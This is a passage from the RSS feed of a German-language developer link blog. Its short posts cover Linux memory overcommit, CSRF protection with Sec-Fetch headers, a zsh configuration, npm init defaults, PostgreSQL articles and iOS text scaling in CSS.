</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/19/0.html</guid><pubDate>Fri, 19 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.ufried.com/blog/ironies_of_ai_2/&quot;&gt;AI and the Ironies of Automation&lt;/a&gt; (Part 2) und &lt;a href=&quot;https://www.ufried.com/blog/ironies_of_ai_1/&quot;&gt;Part 1&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ki</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/19/1.html</guid><pubDate>Fri, 19 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Vielleicht habt ihr mal ein Redis gestartet und eine Meldung bekommen, dass Ihr doch mal im Kernel overcommitment umstellen sollt.&lt;/p&gt;
&lt;p&gt;Overcommitment ist im Prinzip, dass der Kernel bei &lt;code&gt;malloc&lt;/code&gt; niemals &lt;code&gt;null&lt;/code&gt; zurück gibt, wenn das System gar keinen Speicher mehr hat. Das hört sich ziemlich falsch an und uns allen wurde ja immer beigebracht, dass wir das Ergebnis von &lt;code&gt;malloc&lt;/code&gt; immer checken sollten. In der Praxis haben das genug Leute nicht getan, sodass man sich Overcommitment ausgedacht hat. Dabei wird der Anwendung immer ein Pointer gegeben. Erst, wenn die Anwendung schreibend darauf zugreift, wird die eigentliche Allokation durchgeführt. So kann man verhindern, dass eine Anwendung beendet wird, wenn sie zu viel Speicher anfordert und den gar nicht benutzt.&lt;/p&gt;
&lt;p&gt;Das ist einer der Gründe, warum Allokationen in Rust nicht irgendwie ein Result zurückgeben. Man hat einfach Overvommitment als Default angenommen und denkt sich &quot;wenns nicht klappt, panict die Anwwendung halt und da die meisten overcomitten, brauchen wir den Entwickler gar nicht zum Handlen des OOM-Falls zwingen&quot;. In Zig ist das nicht so. Für mich ist die Designentscheidung bei Rust ein Zeichen dafür, dass es für Userspace-Anwendungen designt wurde. Wenn man im Kernel &lt;code&gt;kmalloc&lt;/code&gt; macht, wird (meines wissens nach) nicht overcommited. Somit hat man da bei Rust ein Problem, das man im Nachhinein irgendwie noch fixen musste. Das haben sie glaub ich geschafft.&lt;/p&gt;
&lt;p&gt;Redis will deshalb, dass es nicht vom OS angelogen wird, wenn es &lt;code&gt;malloc&lt;/code&gt; macht, um bessere Fehlerbehandlung zu machen.&lt;/p&gt;
&lt;p&gt;Jedenfalls ist hier ein Artikel darüber: &lt;a href=&quot;https://ariadne.space/2025/12/16/vmovercommitmemory-is-always-the-right.html&quot;&gt;&lt;code&gt;vm.overcommit_memory=2&lt;/code&gt; is always the right setting for servers&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>linux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/21/0.html</guid><pubDate>Sun, 21 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hier eine Seite mit einer Übersicht über die aktuellen ES proposals: &lt;a href=&quot;https://www.proposals.es&quot;&gt;proposals.es&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/21/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/21/1.html</guid><pubDate>Sun, 21 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://webkit.org/blog/17660/introducing-css-grid-lanes/&quot;&gt;CSS hat jetzt das masonry-layout: &lt;code&gt;display: grid-lanes&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/26/0.html</guid><pubDate>Fri, 26 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ihr habt sicher schonmal diese ganzen Request-Header mit dem Präfix &lt;code&gt;Sec-&lt;/code&gt; gesehen, die der Browser so mit schickt. Die kann man für CSRF-Protection nutzen: &lt;a href=&quot;https://blog.miguelgrinberg.com/post/csrf-protection-without-tokens-or-hidden-form-fields&quot;&gt;CSRF Protection without Tokens or Hidden Form Fields&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Das ist eine bessere Alternative zum Origin-Header, denn hier schickt der Browser einfach &quot;same-site&quot;, &quot;same-origin&quot; etc, mit, statt der Origin selbst. Das Feld kann nicht durch den Fetch-Request gesetzt werden und man kann beim Deployen einfach nur schauen, ob es bspw. &quot;same-site&quot; ist, ohne zu wissen, welche Domain das Deployment gerade hat (was man beim Origin-Header wissen müsste).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>security</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/26/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/26/1.html</guid><pubDate>Fri, 26 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://danburzo.ro/http-caching-refresher/&quot;&gt;HTTP caching, a refresher&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>http</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/31/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/31/0.html</guid><pubDate>Wed, 31 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Warum benutzen die ganzen Datenbanken eigentlich kein memory-mapped-io für den Zugriff auf ihre Stammdateien? mmapping ist doch für vieles deutlich schneller, als immer über Syscalls zu gehen.&lt;/p&gt;
&lt;p&gt;Hier wird es beleuchtet:
&lt;a href=&quot;https://db.cs.cmu.edu/mmap-cidr2022/&quot;&gt;Are You Sure You Want to Use MMAP in Your Database Management System?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><category>performance</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/31/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/31/1.html</guid><pubDate>Wed, 31 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hier ein cooler Hack, wie man sowas wie einen Shebang erreichen kann, wenn die Zielsprache keine Shebangs kann und auch &lt;code&gt;#&lt;/code&gt; nicht als Kommentarsymbol hat.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://lorentz.app/blog-item.html?id=go-shebang&quot;&gt;Go away, Python!&lt;/a&gt; (in dem Fall für Go)&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/31/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/31/2.html</guid><pubDate>Wed, 31 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://bluuewhale.github.io/posts/concurrent-hashmap-designs/&quot;&gt;Concurrent Hash Table Designs: Synchronized, Sharding, ConcurrentHashMap, and NonBlockingHashMap&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2025/12/31/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2025/12/31/3.html</guid><pubDate>Wed, 31 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.raptitude.com/2025/12/maybe-the-default-settings-are-too-high/&quot;&gt;Maybe the Default Settings Are Too High&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dx</category><category>ux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/03/0.html</guid><pubDate>Sat, 03 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Frohes Neues! Gerade kämpfe ich noch mit Congress-Seuche. &lt;a href=&quot;https://media.ccc.de/c/39c3&quot;&gt;Hier sind die Talks vom 39c3&lt;/a&gt;, wer wie ich im Bett liegt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ccc</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/03/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/03/1.html</guid><pubDate>Sat, 03 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://gist.github.com/arch1t3cht/b5b9552633567fa7658deee5aec60453/&quot;&gt;What you NEED to Know Before Touching a Video File&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/05/0.html</guid><pubDate>Mon, 05 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://office.com&quot;&gt;The Microsoft 365 Copilot app (formerly Office)&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/10/0.html</guid><pubDate>Sat, 10 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Heute hab ich &lt;a href=&quot;https://rushter.com/blog/zsh-shell/&quot;&gt;You probably don&apos;t need Oh My Zsh&lt;/a&gt; gelesen und hab das als Gelegenheit genommen, meine ZSH-Config nach 1000 Jahren zu erneuern.&lt;/p&gt;
&lt;p&gt;Der Test am Anfang gab bei mir 0.29s zurück. Nachdem ich jetzt OMZ weggeworfen habe und ZSH von Hand konfiguriere und Starship verwende, sind es 0.23s. Also ganze 60ms schneller! Atemberaubend!&lt;/p&gt;
&lt;p&gt;Das hat sich so mäßig gelohnt, aber es war ganz gut als Lernerfahrung, um zu sehen, welche Magic von OMZ kommt und welche nicht.&lt;/p&gt;
&lt;p&gt;Konkrekt ein bisschen Pfeilnavgation und dass der Fenstertitel + &lt;a href=&quot;https://michaelrommel.com/create/2024-11-19-osc7-and-why-you-might-need-it&quot;&gt;CWD richtig ist&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# https://www.reddit.com/r/commandline/comments/l8ciib/starship_prompt_missing_some_important_things/glcsp8j/
bindkey &quot;^[[1;5C&quot; forward-word
bindkey &quot;^[[1;5D&quot; backward-word

# visual selection of completions
zstyle &apos;:completion:*&apos; menu select

function set_title_precmd() { print -Pn &quot;\e]0;%n@%m: %~\a&quot; }
function set_title_preexec() { print -Pn &quot;\e]0;%n@%m: $1\a&quot; }
function set_pwd_osc7() { print -Pn &quot;\e]7;file://$HOST$PWD\a&quot; }

autoload -Uz add-zsh-hook
add-zsh-hook precmd set_title_precmd
add-zsh-hook precmd set_pwd_osc7
add-zsh-hook preexec set_title_preexec
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Jetzt muss ich noch rausfinden, wo die 200ms verschwendet werden.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>zsh</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/11/0.html</guid><pubDate>Sun, 11 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://0xghost.dev/blog/std-move-deep-dive/&quot;&gt;&lt;code&gt;std::move&lt;/code&gt; doesn&apos;t move anything: A deep dive into Value Categories&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/13/0.html</guid><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Nach dem ganzen Drama hat Chrome jetzt &lt;a href=&quot;https://chromium-review.googlesource.com/c/chromium/src/+/7184969&quot;&gt;JpegXL gemergt&lt;/a&gt;. Google hatte sich immer dagegen gewehrt, weil es ja AVIF und WebP gibt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/14/0.html</guid><pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/147&quot;&gt;Firefox 147&lt;/a&gt; ist da und kann jetzt Anchor-Positioning und die &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Navigation_API&quot;&gt;Navigation API&lt;/a&gt; (neuer Ersatz der History API).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>html</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/14/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/14/1.html</guid><pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://newsletter.posthog.com/p/a-simple-guide-to-validating-product&quot;&gt;Your product ideas probably suck (that&apos;s ok)&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/18/0.html</guid><pubDate>Sun, 18 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://css-tricks.com/text-decoration-inset-is-like-padding-for-text-decorations/&quot;&gt;&lt;code&gt;text-decoration-inset&lt;/code&gt; is Like Padding for Text Decorations&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/19/0.html</guid><pubDate>Mon, 19 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://httpcolon.dev/www.google.com&quot;&gt;HTTP:COLON – A quick HTTP header/directive inspector and reference&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>http</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/19/1.html</guid><pubDate>Mon, 19 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://gitlab.winehq.org/wine/wine/-/releases/wine-11.0&quot;&gt;Wine 11 ist da&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/19/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/19/2.html</guid><pubDate>Mon, 19 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Von Dan Abramov: &lt;a href=&quot;https://overreacted.io/a-social-filesystem/&quot;&gt;A Social Filesystem&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/19/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/19/3.html</guid><pubDate>Mon, 19 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://shihab-shahriar.github.io//blog/2026/AVX-512-First-Impressions-on-Performance-and-Programmability/&quot;&gt;AVX-512: First Impressions on Performance and Programmability&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>performance</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/20/0.html</guid><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wer häufiger mal npm-Module anlegt, verwendet dafür vielleicht oft &lt;code&gt;npm init&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Der Befehl ist seit Jahren standard, aber die Werte darin sind immer noch alt. Beispielsweise legt es das Projekt per Default als &lt;code&gt;commonjs&lt;/code&gt;-Modul an. &lt;a href=&quot;https://github.com/npm/rfcs/issues/620&quot;&gt;Das steht aktuell noch als Änderung aus&lt;/a&gt;, aber man kann die Defaults in der globalen Config setzen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm config set init-type module
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Darüber hinaus kann man auch ein paar andere Defaults setzen, die man sowieso immer setzt. Für mich sind das beispielsweise:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm config set init-license MIT # defaults to ISC
npm config set init-author-email test@example.com
npm config set init-author-name &quot;M. Mustermann&quot;
npm config set init-author-url &quot;https://github.com/mmustermann&quot;
npm config set init-private true
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/20/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/20/1.html</guid><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://p.migdal.pl/blog/2017/01/king-man-woman-queen-why/&quot;&gt;&lt;code&gt;king - man + woman&lt;/code&gt; is &lt;code&gt;queen&lt;/code&gt;; but why&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ml</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/21/0.html</guid><pubDate>Wed, 21 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://etn.se/index.php/nyheter/72808-curl-removes-bug-bounties.html&quot;&gt;cURL stoppt ihr Bug-Bounty-Programm&lt;/a&gt;, weil sie zu viele AI-Slop-Reports bekommen. Jetzt auch in &lt;a href=&quot;https://curl.se/.well-known/security.txt&quot;&gt;ihrer security.txt&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/21/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/21/1.html</guid><pubDate>Wed, 21 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://setiathome.berkeley.edu&quot;&gt;SETI@Home wird schlafen gelegt&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/21/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/21/2.html</guid><pubDate>Wed, 21 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://hakibenita.com/postgresql-unconventional-optimizations&quot;&gt;Unconventional PostgreSQL Optimizations&lt;/a&gt;. Die &lt;a href=&quot;https://news.ycombinator.com/item?id=46692116&quot;&gt;Kommentare auf der orangen Seite&lt;/a&gt; haben noch mehr.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/22/0.html</guid><pubDate>Thu, 22 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.designorate.com/design-thinking-books/&quot;&gt;Design Thinking Books You Must Read&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/22/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/22/1.html</guid><pubDate>Thu, 22 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.media.mit.edu/publications/your-brain-on-chatgpt/&quot;&gt;Your Brain on ChatGPT: Accumulation of Cognitive Debt when Using an AI Assistant for Essay Writing Task&lt;/a&gt;. Spoiler: Das Ergebnis ist das, was man erwartet.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ai</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/23/0.html</guid><pubDate>Fri, 23 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich habe schon eine PWA entwickeln müssen, die auch wirklich PWA-Features nutzt. Der Gedanke war, dass man sich damit spart, eine native App zu bauen (wie so oft). Also so richtig mit lokalen Daten, WebPush, Badges, Caching, Service Workern und so weiter.&lt;/p&gt;
&lt;p&gt;Das hört sich auf dem Papier alles toll an, nur ist es in der Praxis kompletter PITA. Größtenteils, weil Safari, die mittlerweile ~30% der User ausmachen, die Hälfte der Sachen nicht kann, oder nur unter bestimmten Bedingungen mit gewisen Einschränkungen.&lt;/p&gt;
&lt;p&gt;Hier ist ne tolle Übersicht: &lt;a href=&quot;https://www.magicbell.com/blog/pwa-ios-limitations-safari-support-complete-guide&quot;&gt;PWA iOS Limitations and Safari Support: Complete Guide&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>html</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/24/0.html</guid><pubDate>Sat, 24 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Man kennt den &lt;code&gt;.well-known&lt;/code&gt;-Ordner ja hauptsächlich von den ACME-Challenges bei LE-Zertifikaten / dem ACME-Protokoll. Da liegen auch ein paar andereSachen, wie JWKS/OIDC-Daten.&lt;/p&gt;
&lt;p&gt;Gerade mal geschaut, was da sonst noch so drin liegt. &lt;a href=&quot;https://en.wikipedia.org/wiki/Well-known_URI&quot;&gt;Wikipedia hat eine Liste&lt;/a&gt;. Da springt mir ins Auge: &lt;code&gt;change-password&lt;/code&gt;: Helps password managers find the URL for changing client account passwords&lt;/p&gt;
&lt;p&gt;Können wir da sauch für die Accountlöschung machen? Und DSGVO-Auskünfte?&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ux</category><category>dx</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/25/0.html</guid><pubDate>Sun, 25 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wie man eine Message-Queue in Postgres baut, wenn man low-volume (sprich: nicht millionen Nachrichten pro Sekunde) unterwegs ist, hab ich ja schon häufiger hier verlinkt.&lt;/p&gt;
&lt;p&gt;Hier nochmal mit dem &quot;Dead Letter Queue&quot;-Pattern: &lt;a href=&quot;https://www.diljitpr.net/blog-post-postgresql-dlq&quot;&gt;Using PostgreSQL as a Dead Letter Queue for Event-Driven Systems&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/25/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/25/1.html</guid><pubDate>Sun, 25 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wie Zig Structs layoutet/padded: &lt;a href=&quot;https://raymondtana.github.io/math/programming/2026/01/23/zig-alignment-and-sizing.html&quot;&gt;Memory Layout in Zig with Formulas&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>zig</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/26/0.html</guid><pubDate>Mon, 26 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://dlt.github.io/blog/posts/introduction-to-postgresql-indexes/&quot;&gt;Introduction to PostgreSQL Indexes&lt;/a&gt; und &lt;a href=&quot;https://use-the-index-luke.com&quot;&gt;Use The Index, Luke&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/26/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/26/1.html</guid><pubDate>Mon, 26 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://atmoio.substack.com/p/after-two-years-of-vibecoding-im&quot;&gt;After two years of vibecoding, I&apos;m back to writing by hand&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ai</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/26/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/26/2.html</guid><pubDate>Mon, 26 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich poste so wenig über AI. Dafür heute direkt 2x:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/2601.15494&quot;&gt;Vibe Coding Kills Open Source&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ai</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/26/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/26/3.html</guid><pubDate>Mon, 26 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In eigener Sache: Ich hab gestern mal mein GitHub-Profil etwas hübscher gemacht. &lt;a href=&quot;https://github.com/nikeee&quot;&gt;Jetzt hat es ein Gästebuch&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/27/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/27/ds.html</guid><pubDate>Tue, 27 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/2201.01174&quot;&gt;Binary Fuse Filters: Fast and Smaller Than Xor Filters&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/28/0.html</guid><pubDate>Wed, 28 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://marvinh.dev/blog/signals-vs-query-based-compilers/&quot;&gt;Signals vs. Query-Based Compilers&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/28/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/28/1.html</guid><pubDate>Wed, 28 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://european-alternatives.eu&quot;&gt; European alternatives for digital products&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/28/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/28/2.html</guid><pubDate>Wed, 28 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.unix.dog/~yosh/blog/c-habits-for-me.html&quot;&gt;Some C habits I employ for the modern day&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/29/0.html</guid><pubDate>Thu, 29 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Chrome experimentiert mit einem neuen Flag: &lt;a href=&quot;https://www.joshtumath.uk/posts/2026-01-27-try-text-scaling-support-in-chrome-canary/&quot;&gt;Try text scaling support in Chrome Canary&lt;/a&gt;: &lt;code&gt;&amp;lt;meta name=&quot;text-scale&quot; content=&quot;scale&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Darin sagt der Author:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;And that&apos;s not great, because &lt;a href=&quot;https://appt.org/en/stats/font-size&quot;&gt;research by Appt&lt;/a&gt; shows around 37% of Android users and 34% of iOS users have changed their system-level text scale factor from the default. And web developers currently have no way to respect that.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Falls ihr das Problem jetzt schon lösen müsst: Das stimmt nicht ganz, aktuell kann man das auf iOS mit einem Trick lösen.&lt;/p&gt;
&lt;p&gt;Auf iOS gibt es die CSS-Aliase mit dem Präfix &lt;code&gt;-apple&lt;/code&gt;. Ihr kennt vielleicht &lt;code&gt;-apple-system&lt;/code&gt;. Das ist ein Alias für die Systemfont auf Apple-Geräten (also quasi ein Alias für &quot;San Francisco&quot;).&lt;/p&gt;
&lt;p&gt;Darüber hinaus gibt es &lt;a href=&quot;https://webkit.org/blog/3709/using-the-system-font-in-web-content/&quot;&gt;noch mehr&lt;/a&gt;, unter anderem &lt;code&gt;-apple-sytem-body&lt;/code&gt;. Das ist nicht nur ein Alias für die Font, sondern für alles, was zum Stil eines &quot;Body-Textes&quot; auf Apple-Systemen dazu gehört. Also auch die Font-Size.&lt;/p&gt;
&lt;p&gt;Verwendet man (Fallbacks mal ausgelassen):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;font: -apple-system-body;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dann skaliert sich der Text auch mit den a11y-Settings des Betreibssystems. Das Problem: Das setzt dann die Font auf San Francisco. Das will man vielleicht nicht.&lt;/p&gt;
